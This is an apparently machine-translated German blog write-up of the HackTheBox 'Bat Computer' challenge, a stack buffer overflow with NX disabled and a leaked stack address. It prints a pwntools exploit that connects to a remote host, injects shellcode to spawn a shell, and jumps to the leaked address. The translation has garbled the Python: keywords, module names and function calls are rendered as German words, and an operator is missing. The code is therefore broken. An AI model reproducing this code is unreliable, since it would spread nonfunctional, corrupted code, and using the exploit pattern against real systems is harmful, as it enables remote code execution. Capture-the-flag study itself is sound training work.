Wir haben eine Binärdatei abgedeckt, bei der nur PIE oder Position Independent Executable als Schutz aktiviert ist, während NX deaktiviert ist. Wir haben die Binärdatei mit Ghidra und GDB analysiert. Wir haben festgestellt, dass die Binärdatei die Speicheradresse der Variable preisgibt, die zum Speichern der Benutzereingabe verwendet wird. Darauf basierend haben wir auch festgestellt, dass die Binärdatei bis zu 137 Bytes Benutzereingabe liest und in einer Variable speichert, deren Puffergröße 76 Bytes beträgt, was die Hauptschwachstelle dieser App darstellt. Wir haben darauf basierend einen Segmentierungsfehler verursacht und festgestellt, dass der Offset 84 Bytes beträgt. Basierend auf der obigen Analyse haben wir das Ausnutzungsskript erstellt, das den Verbindungsparameter und die endgültige Nutzlast enthält. Dies war Teil von HackTheBox Bat Computer | Einführung in die binäre Ausnutzung

Hinweise zu Pufferüberlauftechniken

Der Exploit-Code ist unten

##Anfang

aus pwn importieren *

Kontext.binär = ELF('./batcomputer')

con = Fernbedienung(‘157.245.39.76’,31662)

Mit.Sendeleitung(‘1’)

Mit.zurückrufen('0x')

Stapelbasis = int((„0x“+con.Empfang().dekodieren('lateinisch-1').Teilt()[0]),16)

Protokoll.Erfolg(F'Stapelbasis: {verhexen(Stapelbasis)})

Mit.Sendeleitung(‘2’)

Mit.Sendeleitung(„b4tp@$$w0rd!“)

Nutzlast = asm(Muschelhandwerk.papa() + Muschelhandwerk.Sch()) #-Shellcode

Nutzlast += B'A'*(84 len(Nutzlast)) # nein

Nutzlast += Seite 64(Stapelbasis) # Stapelbasis

Mit.Sendeleitung(Nutzlast)

Mit.Sendeleitung(‘3’)

Mit.interaktiv()

##Ende

Video-Komplettlösung

Über den Autor

Ich erstelle Notizen zur Cybersicherheit, Notizen zum digitalen Marketing und Online-Kurse. Ich biete auch Beratung zum digitalen Marketing an, einschließlich, aber nicht beschränkt auf SEO, Google- und Meta-Anzeigen und CRM-Verwaltung.

Artikel anzeigen